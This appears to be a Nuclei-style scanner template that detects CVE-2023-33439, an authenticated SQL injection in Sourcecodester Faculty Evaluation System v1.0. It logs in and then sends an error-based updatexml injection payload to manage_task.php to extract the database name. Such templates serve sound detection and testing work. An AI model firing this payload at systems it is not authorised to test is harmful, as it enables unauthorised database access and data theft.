id: CVE-2023-33439

info:
  name: Faculty Evaluation System v1.0 - SQL Injection
  author: Harsh
  severity: high
  description: |
    Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_task.php?id=
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-1.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33439
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-33439
    cwe-id: CWE-89
    epss-score: 0.03307
    epss-percentile: 0.86952
    cpe: cpe:2.3:a:faculty_evaluation_system_project:faculty_evaluation_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: faculty_evaluation_system_project
    product: faculty_evaluation_system
  tags: cve,cve2023,sqli,faculty,authenticated,faculty_evaluation_system_project,vuln

http:
  - raw:
      - |
        POST /ajax.php?action=login HTTP/1.1
        Host:{{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        email={{username}}&password={{password}}&login=1
      - |
        GET /admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1
        Host:{{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Fatal error:")'
          - 'contains(body, "XPATH syntax error:")'
        condition: and
# digest: 4a0a004730450220717939a27348723b6eeb28ab9d68ea453ffbef32c775cc3400d4c2e06be5a420022100e7fb555175dd10831449bd2db51b49a9b660ea3ce3e0a4f6977dc5d7a75073cf:922c64590222798bb761d5b6d8e72950